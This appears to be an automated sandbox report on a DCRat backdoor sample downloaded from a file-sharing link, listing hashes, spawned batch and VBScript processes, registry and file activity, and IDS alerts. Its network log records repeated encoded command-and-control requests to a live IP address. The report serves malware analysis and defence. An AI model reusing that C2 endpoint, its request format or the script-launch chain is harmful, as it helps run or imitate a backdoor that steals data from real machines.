| URL: | https://dropmefiles.com/BAATA |
| Full analysis: | https://app.any.run/tasks/9f4cb93c-0411-4891-bd1f-1fc0b3bbeb34 |
| Verdict: | Malicious activity |
| Threats: | A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices. |
| Analysis date: | May 30, 2020, 14:12:19 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MD5: | 8AEE20221DC42FAB5D961990B2BABE93 |
| SHA1: | 9C349E58CF154BA1F0FA7F7D024B2AD75753D7C7 |
| SHA256: | 808D4F8A2399DDE72AE4785CAC9DE9D2B1537B67EED4ED69F1BA26B9823BD95B |
| SSDEEP: | 3:N8PKV9DN1ki:2oDN1p |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 488 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=1036,3582674607128633079,16401612400975565149,131072 --enable-features=PasswordImport --lang=en-US --service-sandbox-type=utility --service-request-channel-token=4720869709131217620 --mojo-platform-channel-handle=4756 --ignored=" --type=renderer " /prefetch:8 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 75.0.3770.100 Modules
| |||||||||||||||
| 2228 | cmd /c ""C:\reviewfont\RJaWmWmgyeQvco2whPP16HlTCzQx07.bat" " | C:\Windows\System32\cmd.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2324 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1036,3582674607128633079,16401612400975565149,131072 --enable-features=PasswordImport --lang=en-US --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --service-request-channel-token=17970389255527903879 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1960 /prefetch:1 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 75.0.3770.100 Modules
| |||||||||||||||
| 2328 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=1036,3582674607128633079,16401612400975565149,131072 --enable-features=PasswordImport --lang=en-US --service-sandbox-type=utility --service-request-channel-token=11219348454358063287 --mojo-platform-channel-handle=4736 --ignored=" --type=renderer " /prefetch:8 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 75.0.3770.100 Modules
| |||||||||||||||
| 2372 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=1036,3582674607128633079,16401612400975565149,131072 --enable-features=PasswordImport --lang=en-US --service-sandbox-type=network --service-request-channel-token=12182742486687500966 --mojo-platform-channel-handle=1628 /prefetch:8 | C:\Program Files\Google\Chrome\Application\chrome.exe | chrome.exe | ||||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Exit code: 0 Version: 75.0.3770.100 Modules
| |||||||||||||||
| 2456 | "C:\reviewfont\crthost.exe" | C:\reviewfont\crthost.exe | — | cmd.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Version: 1.0.0.0 Modules
| |||||||||||||||
| 2624 | cmd /c ""C:\reviewfont\RJaWmWmgyeQvco2whPP16HlTCzQx07.bat" " | C:\Windows\System32\cmd.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 10 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2660 | "C:\Windows\System32\WScript.exe" "C:\reviewfont\E6SslQ0OOviEWYi2SoZYE8C1V2Ie0K.vbs" | C:\Windows\System32\WScript.exe | — | BIILSD.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2684 | "C:\Windows\System32\WScript.exe" "C:\reviewfont\ZVDgFpjI8SKr1L2vYvhc648tfOlt6e.vbe" | C:\Windows\System32\WScript.exe | — | AnZk4Qziu0qkBNiyatgk.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2688 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1036,3582674607128633079,16401612400975565149,131072 --enable-features=PasswordImport --disable-gpu-sandbox --use-gl=disabled --gpu-preferences=KAAAAAAAAADgAAAgAQAAAAAAAAAAAGAAAAAAAAAAAAAIAAAAAAAAACgAAAAEAAAAIAAAAAAAAAAoAAAAAAAAADAAAAAAAAAAOAAAAAAAAAAQAAAAAAAAAAAAAAAFAAAAEAAAAAAAAAAAAAAABgAAABAAAAAAAAAAAQAAAAUAAAAQAAAAAAAAAAEAAAAGAAAA --service-request-channel-token=7744888318724791664 --mojo-platform-channel-handle=4804 /prefetch:2 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Exit code: 0 Version: 75.0.3770.100 Modules
| |||||||||||||||
| (PID) Process: | (2804) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon |
| Operation: | write | Name: | failed_count |
Value: 0 | |||
| (PID) Process: | (2804) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon |
| Operation: | write | Name: | state |
Value: 2 | |||
| (PID) Process: | (2804) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Chrome\ThirdParty |
| Operation: | write | Name: | StatusCodes |
Value: | |||
| (PID) Process: | (2804) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Chrome\ThirdParty |
| Operation: | write | Name: | StatusCodes |
Value: 01000000 | |||
| (PID) Process: | (2812) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Chrome\BrowserExitCodes |
| Operation: | write | Name: | 2804-13235321553817125 |
Value: 259 | |||
| (PID) Process: | (2804) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon |
| Operation: | write | Name: | state |
Value: 1 | |||
| (PID) Process: | (2804) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Update\ClientState\{8A69D345-D564-463c-AFF1-A69D9E530F96} |
| Operation: | write | Name: | dr |
Value: 1 | |||
| (PID) Process: | (2804) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Chrome |
| Operation: | write | Name: | UsageStatsInSample |
Value: 0 | |||
| (PID) Process: | (2804) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Chrome\BrowserExitCodes |
| Operation: | delete value | Name: | 3120-13213713943555664 |
Value: 0 | |||
| (PID) Process: | (2804) chrome.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientStateMedium\{8A69D345-D564-463C-AFF1-A69D9E530F96} |
| Operation: | write | Name: | usagestats |
Value: 0 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2804 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-5ED269D2-AF4.pma | — | |
MD5:— | SHA256:— | |||
| 2804 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\610ad367-fb80-4ac9-ac87-870c5d44c0e9.tmp | — | |
MD5:— | SHA256:— | |||
| 2804 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000028.dbtmp | — | |
MD5:— | SHA256:— | |||
| 2804 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old | — | |
MD5:— | SHA256:— | |||
| 2804 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\LOG.old~RF7cb9b.TMP | text | |
MD5:— | SHA256:— | |||
| 2804 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old | text | |
MD5:— | SHA256:— | |||
| 2804 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Last Tabs | binary | |
MD5:— | SHA256:— | |||
| 2804 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old~RF7cb8b.TMP | text | |
MD5:— | SHA256:— | |||
| 2804 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 2804 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG.old~RF7cd9e.TMP | — | |
MD5:— | SHA256:— | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3348 | chrome.exe | GET | 200 | 80.87.197.227:80 | http://80.87.197.227/1eb37u5l97tbwn6pnrfobgp0d4vq90ux2uwfl4joq6e4yvafcldt00fts8n5gqkh9h8d1h5yxq6x/91mdpyn8w5i2lfo2tu72ewivh3h61kre07c8oidv0cznj0rak9wvsobzu4igv7ybsnnoauesd5lx/ofb1fruniyxu/8aa9820fb640548bf29e264b9cc37575.php?8340af2ee2dc7148eccc88b92e31fa07=%3DQWN0YTZwM2Y1ITYiJmYjVmZ0czN4gTOyETOkBTYjVmY4gDMzQmNwMDM&0429febe47d7178d53c963c69f76cbae=%3D%3DQNhhDN5YjYzMWMlJzMiNGZjJTN0E2YiljMxcjZ2ImYjRmY0UDZhJ2Y&f580943c2dbf352917fef8a37b8f3dfb=%3D%3DQfiQnbvZ2dllmdlJHXcpzQiojIoRXYQJCLiIjL34CNiojIu9WazJXZWtmcvdXZtFmcGJCLi42dv52auVlI6ICa0FGUtFmcnVGblRlIsIib39mbr5WViojIElkclNXVtFWZ0NlIsIycvdWayRWYy9FbllmciF2ZiojIyV2cV1WYlR3UiwCbsVnb6IyZuFGTtFWZ0NlIsISbhVGdz9yclxWamBSbhJ3ZvJHcvozYiojIoRXYQ1WYlR3UiwiIuxlcclybpRWdBByN5cyQBByalRHbhVmUoAibJBSZulGTuxlcc9WakVXQgcTOnMUQgsWZ0xWYlJFKgUmbvhGcvJ3Yp1kI6Iycl52boB3byNWaNJCLi4GXyxVMZFETQNVSExFXuwFXcxlI6IycuVWZyN2UiwiIiojIz1WYjJWZXJCLzgTNzojINFkUiwiIB9iTiojIkJXYvJmclhGdv1kIsISQv4kI6ICbsF2dlJXaGJCLiE0LOJiOiMXdylmdpRnbBJCLi0iI6ICUJ5UQMJCLiwETFRkI6IyUPlkQiwiI6h0RwcjLyACQgUFUDBCMwQjNtUTagkSTUhSZy92QgkiUowWZ05WSiojIl1WYOVFUDJCLiIXZ0BXYkFEIzNWaoBXYydEIBdkVgQmchRmbhR3UiojIl1WYOVFUHJye&fcf30eb9f1eda13dbee60e29652bfc75=%3DgjN0QmY5AjMjljM2QWMzQDZjdTNzgDM1UWOhVTYldjM&7746193cf1ce4fd09c30f07428fd8b5c=%3DkzYyMzYldTM0MzY4UTMlZTOxQGZldjNkRzMzEWOiJzM | RU | — | 15 b | malicious |
3348 | chrome.exe | GET | 200 | 80.87.197.227:80 | http://80.87.197.227/1eb37u5l97tbwn6pnrfobgp0d4vq90ux2uwfl4joq6e4yvafcldt00fts8n5gqkh9h8d1h5yxq6x/91mdpyn8w5i2lfo2tu72ewivh3h61kre07c8oidv0cznj0rak9wvsobzu4igv7ybsnnoauesd5lx/ofb1fruniyxu/8aa9820fb640548bf29e264b9cc37575.php?8340af2ee2dc7148eccc88b92e31fa07=%3DQWN0YTZwM2Y1ITYiJmYjVmZ0czN4gTOyETOkBTYjVmY4gDMzQmNwMDM&0429febe47d7178d53c963c69f76cbae=%3D%3DQNhhDN5YjYzMWMlJzMiNGZjJTN0E2YiljMxcjZ2ImYjRmY0UDZhJ2Y&717f1b604a5a0cb86e09b7ea18d64adb=%3DgjN0QmY5AjMjljM2QWMzQDZjdTNzgDM1UWOhVTYldjM&b6c8aca2525679c02948517070dd27b8=%3DYzM0MGO0YmNkRDZhdzN5Y2MwAjMlJDMmJmM3EWZ5UmM&8f62f22f8be1d750e99aaa41a64dd556=91nIoRXdhdmbpN3cp12LvlmLvZmbpBXav8iOzBHd0hmI6ISZtRWYlJnIsICajlmc1p1LlB3byVXRiojIl52b6VWbpRnIsISNwADOiojIsFGdz9GciwiIkVGdp1WaMBCctF2YhRXYEBCO2ADM2MVQiojInJ3biwiIwATN14COscjN2MjL3QjI6IyYvxmIsICSDJiOiknc05WdvNmIsICajlmc1plI6Iibvl2ZlJnIsICajlmc8K8gDrlI6ISe0l2YiwiIt92YuczNuR2YucDNtUjNx0yN4ETL5gTLu5WdiojIl1WYuR3cvhmIsIyN04SN2EjL3gTMukDOiojIwlmI7pjIvZmbJBXSiwiIiojIHFEViwiIulWbkFmI6ISZtFmTyV2cVJCLiMEUtIVRTVlI6ISZtFmTDBlIsIichJnLENFTJlkQiojI39GZul2VUNUQiwiI0lmQgIzMgwWYu9WazNXZm9mcQByNgM3dvRmbpdlI6IiclZlbpdlIsIiTiojIulWbkF0cpJCLi4kI6ISbhNmYld1cpJCLiklI6ISZu9Gaw9mcjlWTzlmIsICMuAjLzIiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&b3b7a24fc33e62b2c9c15880a7961ae7=%3DgjN0QmY5AjMjljM2QWMzQDZjdTNzgDM1UWOhVTYldjM&7bb5791a2c21104c109e96d29604cdee=%3DcTMzIDOwQmY4gzYmNWZkBTNjRTO0UjM5gTZ1UWN2E2Y | RU | — | 15 b | malicious |
2372 | chrome.exe | GET | 302 | 172.217.22.14:80 | http://redirector.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvOTRmQUFXVHlhaGJaUTdMLWtCSkNJUl9ZQQ/1.0.0.5_nmmhkkegccagdldgiimedpiccmgmieda.crx | US | html | 519 b | whitelisted |
2372 | chrome.exe | GET | 302 | 172.217.22.14:80 | http://redirector.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjY5QUFXTEQwc2RPVXhRY3picjhxblh1dw/7619.603.0.2_pkedcjkdefgpdelpbcmbmeomcjbeemfm.crx | US | html | 524 b | whitelisted |
3348 | chrome.exe | GET | 200 | 80.87.197.227:80 | http://80.87.197.227/1eb37u5l97tbwn6pnrfobgp0d4vq90ux2uwfl4joq6e4yvafcldt00fts8n5gqkh9h8d1h5yxq6x/91mdpyn8w5i2lfo2tu72ewivh3h61kre07c8oidv0cznj0rak9wvsobzu4igv7ybsnnoauesd5lx/ofb1fruniyxu/8aa9820fb640548bf29e264b9cc37575.php?8340af2ee2dc7148eccc88b92e31fa07=%3DQWN0YTZwM2Y1ITYiJmYjVmZ0czN4gTOyETOkBTYjVmY4gDMzQmNwMDM&0429febe47d7178d53c963c69f76cbae=%3D%3DQNhhDN5YjYzMWMlJzMiNGZjJTN0E2YiljMxcjZ2ImYjRmY0UDZhJ2Y&717f1b604a5a0cb86e09b7ea18d64adb=%3DgjN0QmY5AjMjljM2QWMzQDZjdTNzgDM1UWOhVTYldjM&b6c8aca2525679c02948517070dd27b8=%3DYzM0MGO0YmNkRDZhdzN5Y2MwAjMlJDMmJmM3EWZ5UmM&8f62f22f8be1d750e99aaa41a64dd556=91nIoRXdhdmbpN3cp12LvlmLvZmbpBXav8iOzBHd0hmI6ISZtRWYlJnIsICajlmc1p1LlB3byVXRiojIl52b6VWbpRnIsISNwADOiojIsFGdz9GciwiIkVGdp1WaMBCctF2YhRXYEBCO2ADM2MVQiojInJ3biwiIwATN14COscjN2MjL3QjI6IyYvxmIsICSDJiOiknc05WdvNmIsICajlmc1plI6Iibvl2ZlJnIsICajlmc8K8gDrlI6ISe0l2YiwiIt92YuczNuR2YucDNtUjNx0yN4ETL5gTLu5WdiojIl1WYuR3cvhmIsIyN04SN2EjL3gTMukDOiojIwlmI7pjIvZmbJBXSiwiIiojIHFEViwiIulWbkFmI6ISZtFmTyV2cVJCLiMEUtIVRTVlI6ISZtFmTDBlIsIichJnLENFTJlkQiojI39GZul2VUNUQiwiI0lmQgIzMgwWYu9WazNXZm9mcQByNgM3dvRmbpdlI6IiclZlbpdlIsIiTiojIulWbkF0cpJCLi4kI6ISbhNmYld1cpJCLiklI6ISZu9Gaw9mcjlWTzlmIsICMuAjLzIiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&b3b7a24fc33e62b2c9c15880a7961ae7=%3DgjN0QmY5AjMjljM2QWMzQDZjdTNzgDM1UWOhVTYldjM&7bb5791a2c21104c109e96d29604cdee=%3DcTMzIDOwQmY4gzYmNWZkBTNjRTO0UjM5gTZ1UWN2E2Y | RU | — | 15 b | malicious |
3348 | chrome.exe | GET | 200 | 80.87.197.227:80 | http://80.87.197.227/1eb37u5l97tbwn6pnrfobgp0d4vq90ux2uwfl4joq6e4yvafcldt00fts8n5gqkh9h8d1h5yxq6x/91mdpyn8w5i2lfo2tu72ewivh3h61kre07c8oidv0cznj0rak9wvsobzu4igv7ybsnnoauesd5lx/ofb1fruniyxu/8aa9820fb640548bf29e264b9cc37575.php?8340af2ee2dc7148eccc88b92e31fa07=%3DQWN0YTZwM2Y1ITYiJmYjVmZ0czN4gTOyETOkBTYjVmY4gDMzQmNwMDM&0429febe47d7178d53c963c69f76cbae=%3D%3DQNhhDN5YjYzMWMlJzMiNGZjJTN0E2YiljMxcjZ2ImYjRmY0UDZhJ2Y&8f62f22f8be1d750e99aaa41a64dd556=%3D4iLu42bpRXYtJ3bm5WagIXZoR3bgcmbph2Y0VmR&b3b7a24fc33e62b2c9c15880a7961ae7=%3DgjN0QmY5AjMjljM2QWMzQDZjdTNzgDM1UWOhVTYldjM&7bb5791a2c21104c109e96d29604cdee=%3DYjM3YTM0cjM0QzNhlDO0kDMyczY1MDZ0QmZxMjN3QWY | RU | text | 15 b | malicious |
3348 | chrome.exe | GET | 200 | 80.87.197.227:80 | http://80.87.197.227/1eb37u5l97tbwn6pnrfobgp0d4vq90ux2uwfl4joq6e4yvafcldt00fts8n5gqkh9h8d1h5yxq6x/91mdpyn8w5i2lfo2tu72ewivh3h61kre07c8oidv0cznj0rak9wvsobzu4igv7ybsnnoauesd5lx/ofb1fruniyxu/8aa9820fb640548bf29e264b9cc37575.php?8340af2ee2dc7148eccc88b92e31fa07=%3DQWN0YTZwM2Y1ITYiJmYjVmZ0czN4gTOyETOkBTYjVmY4gDMzQmNwMDM&0429febe47d7178d53c963c69f76cbae=%3D%3DQNhhDN5YjYzMWMlJzMiNGZjJTN0E2YiljMxcjZ2ImYjRmY0UDZhJ2Y&8f62f22f8be1d750e99aaa41a64dd556=u4iLzRmcvd3czFGcgcmbph2Y0VmR&b3b7a24fc33e62b2c9c15880a7961ae7=%3DgjN0QmY5AjMjljM2QWMzQDZjdTNzgDM1UWOhVTYldjM&7bb5791a2c21104c109e96d29604cdee=%3DYjM3YTM0cjM0QzNhlDO0kDMyczY1MDZ0QmZxMjN3QWY | RU | text | 15 b | malicious |
3348 | chrome.exe | GET | 200 | 80.87.197.227:80 | http://80.87.197.227/1eb37u5l97tbwn6pnrfobgp0d4vq90ux2uwfl4joq6e4yvafcldt00fts8n5gqkh9h8d1h5yxq6x/91mdpyn8w5i2lfo2tu72ewivh3h61kre07c8oidv0cznj0rak9wvsobzu4igv7ybsnnoauesd5lx/ofb1fruniyxu/8aa9820fb640548bf29e264b9cc37575.php?8340af2ee2dc7148eccc88b92e31fa07=%3DQWN0YTZwM2Y1ITYiJmYjVmZ0czN4gTOyETOkBTYjVmY4gDMzQmNwMDM&0429febe47d7178d53c963c69f76cbae=%3D%3DQNhhDN5YjYzMWMlJzMiNGZjJTN0E2YiljMxcjZ2ImYjRmY0UDZhJ2Y&8f62f22f8be1d750e99aaa41a64dd556=%3D%3DgLu4ycll2av92Ygcmbph2Y0VmR&b3b7a24fc33e62b2c9c15880a7961ae7=%3DgjN0QmY5AjMjljM2QWMzQDZjdTNzgDM1UWOhVTYldjM&7bb5791a2c21104c109e96d29604cdee=%3DYjM3YTM0cjM0QzNhlDO0kDMyczY1MDZ0QmZxMjN3QWY | RU | text | 67 b | malicious |
3348 | chrome.exe | GET | 200 | 80.87.197.227:80 | http://80.87.197.227/1eb37u5l97tbwn6pnrfobgp0d4vq90ux2uwfl4joq6e4yvafcldt00fts8n5gqkh9h8d1h5yxq6x/91mdpyn8w5i2lfo2tu72ewivh3h61kre07c8oidv0cznj0rak9wvsobzu4igv7ybsnnoauesd5lx/ofb1fruniyxu/8aa9820fb640548bf29e264b9cc37575.php?8340af2ee2dc7148eccc88b92e31fa07=%3DQWN0YTZwM2Y1ITYiJmYjVmZ0czN4gTOyETOkBTYjVmY4gDMzQmNwMDM&0429febe47d7178d53c963c69f76cbae=%3D%3DQNhhDN5YjYzMWMlJzMiNGZjJTN0E2YiljMxcjZ2ImYjRmY0UDZhJ2Y&8f62f22f8be1d750e99aaa41a64dd556=%3D4iLuMXby9mZgcmbph2Y0VmR&b3b7a24fc33e62b2c9c15880a7961ae7=%3DgjN0QmY5AjMjljM2QWMzQDZjdTNzgDM1UWOhVTYldjM&7bb5791a2c21104c109e96d29604cdee=%3DYjM3YTM0cjM0QzNhlDO0kDMyczY1MDZ0QmZxMjN3QWY | RU | text | 15 b | malicious |
3348 | chrome.exe | GET | 200 | 80.87.197.227:80 | http://80.87.197.227/1eb37u5l97tbwn6pnrfobgp0d4vq90ux2uwfl4joq6e4yvafcldt00fts8n5gqkh9h8d1h5yxq6x/91mdpyn8w5i2lfo2tu72ewivh3h61kre07c8oidv0cznj0rak9wvsobzu4igv7ybsnnoauesd5lx/ofb1fruniyxu/8aa9820fb640548bf29e264b9cc37575.php?8340af2ee2dc7148eccc88b92e31fa07=%3DQWN0YTZwM2Y1ITYiJmYjVmZ0czN4gTOyETOkBTYjVmY4gDMzQmNwMDM&0429febe47d7178d53c963c69f76cbae=%3D%3DQNhhDN5YjYzMWMlJzMiNGZjJTN0E2YiljMxcjZ2ImYjRmY0UDZhJ2Y&8f62f22f8be1d750e99aaa41a64dd556=1ATMwADMw4CMwoDMwoDMwAiOl1Wa0BCZlNHchxWRgESZu9GR&b3b7a24fc33e62b2c9c15880a7961ae7=%3DgjN0QmY5AjMjljM2QWMzQDZjdTNzgDM1UWOhVTYldjM&7bb5791a2c21104c109e96d29604cdee=%3DYjM3YTM0cjM0QzNhlDO0kDMyczY1MDZ0QmZxMjN3QWY | RU | text | 15 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2372 | chrome.exe | 172.217.18.3:443 | clientservices.googleapis.com | Google Inc. | US | whitelisted |
2372 | chrome.exe | 216.58.210.13:443 | accounts.google.com | Google Inc. | US | whitelisted |
2372 | chrome.exe | 216.58.212.170:443 | imasdk.googleapis.com | Google Inc. | US | whitelisted |
2372 | chrome.exe | 173.194.76.157:443 | stats.g.doubleclick.net | Google Inc. | US | whitelisted |
2372 | chrome.exe | 172.217.23.110:443 | clients1.google.com | Google Inc. | US | whitelisted |
2372 | chrome.exe | 172.217.16.129:443 | cdn.ampproject.org | Google Inc. | US | whitelisted |
2372 | chrome.exe | 176.99.128.18:443 | dropmefiles.com | Inetcom LLC | RU | suspicious |
— | — | 216.58.205.227:443 | fonts.gstatic.com | Google Inc. | US | whitelisted |
2372 | chrome.exe | 216.58.212.138:443 | fonts.googleapis.com | Google Inc. | US | whitelisted |
2372 | chrome.exe | 216.58.207.46:443 | www.google-analytics.com | Google Inc. | US | whitelisted |
Domain | IP | Reputation |
|---|---|---|
dropmefiles.com |
| whitelisted |
clientservices.googleapis.com |
| whitelisted |
accounts.google.com |
| shared |
imasdk.googleapis.com |
| whitelisted |
www.googletagservices.com |
| whitelisted |
adservice.google.co.uk |
| whitelisted |
adservice.google.com |
| whitelisted |
securepubads.g.doubleclick.net |
| whitelisted |
www.google-analytics.com |
| whitelisted |
mc.yandex.ru |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
3348 | chrome.exe | A Network Trojan was detected | ET TROJAN DCRat Initial CnC Activity |
3348 | chrome.exe | A Network Trojan was detected | ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io) |
3348 | chrome.exe | Potential Corporate Privacy Violation | ET POLICY Possible External IP Lookup SSL Cert Observed (ipinfo.io) |
3348 | chrome.exe | A Network Trojan was detected | ET TROJAN DCRat CnC Activity |
3348 | chrome.exe | A Network Trojan was detected | ET TROJAN DCRat CnC Activity |
3348 | chrome.exe | A Network Trojan was detected | AV TROJAN Win32/TrojanDonwloader.DCRAT CnC Response M1 |
3348 | chrome.exe | A Network Trojan was detected | ET TROJAN DCRat CnC Activity |
3348 | chrome.exe | A Network Trojan was detected | ET TROJAN DCRat CnC Activity |
3348 | chrome.exe | A Network Trojan was detected | ET TROJAN DCRat CnC Activity |
3348 | chrome.exe | A Network Trojan was detected | ET TROJAN DCRat CnC Activity |